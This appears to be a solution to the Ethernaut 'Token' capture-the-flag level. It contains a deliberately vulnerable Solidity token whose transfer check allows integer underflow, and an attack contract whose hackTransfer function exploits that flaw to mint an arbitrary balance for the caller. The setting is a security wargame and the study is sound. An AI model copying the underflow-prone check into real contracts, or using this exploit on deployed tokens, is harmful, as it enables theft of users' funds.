Ethernaut-6-Token-0x63bE8347A617476CA461649897238A31835a32CE

contracts...Controller.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Token.sol";

contract Controller {
    uint256 public balance;
    event CalledBy(address callee, uint balance);
    event debugging(uint num);
    Token originalContract = Token(0x326f3D87E1d2f977dC86024Fc2d4A2AA50A72707);

    function hackTransfer(uint amount) public {
        originalContract.transfer(msg.sender, amount);
        uint balance = originalContract.balanceOf(msg.sender);
        emit CalledBy(msg.sender, balance);
    }

    function balanceOf(address _owner) public view returns (uint balance) {
        return originalContract.balanceOf(_owner);
    }

    function testOverflow() public {
        uint org = 20;
        emit debugging(org - 21);
    }
}

contracts...Token.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}